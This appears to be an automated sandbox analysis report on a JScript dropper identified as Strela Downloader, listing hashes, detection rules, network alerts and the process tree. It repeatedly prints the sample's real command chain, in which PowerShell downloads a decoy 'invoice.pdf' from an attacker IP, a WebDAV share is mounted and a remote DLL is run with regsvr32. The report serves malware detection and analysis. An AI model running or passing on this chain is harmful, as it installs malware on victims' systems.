Edit tour

Windows Analysis Report
4947276292772611217.js

Overview

General Information

Sample name:	4947276292772611217.js
Analysis ID:	1588370
MD5:	6ecb5cd28ea6412d8148fb42933e171b
SHA1:	deeee48c82e3070b2764ee623cc49ea43cc38097
SHA256:	08658be466ae970eddcb997a3c9d1d70ec7f7783626dd503eb1eaad73996c9a3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5964 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5412 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6880 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4536 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,5116805766020969271,6008522173512827822,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1824 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1928 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2292 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5964	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6880, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6880, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ProcessId: 5964, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1928, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 5412, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 5412, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 5412, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 5412, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 5412, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ProcessId: 5964, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6880, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1928, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2292, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1928, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 5412, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:29:09.877790+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:29:12.453397+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:29:09.877790+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4947276292772611217.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4947276292772611217.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:29:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

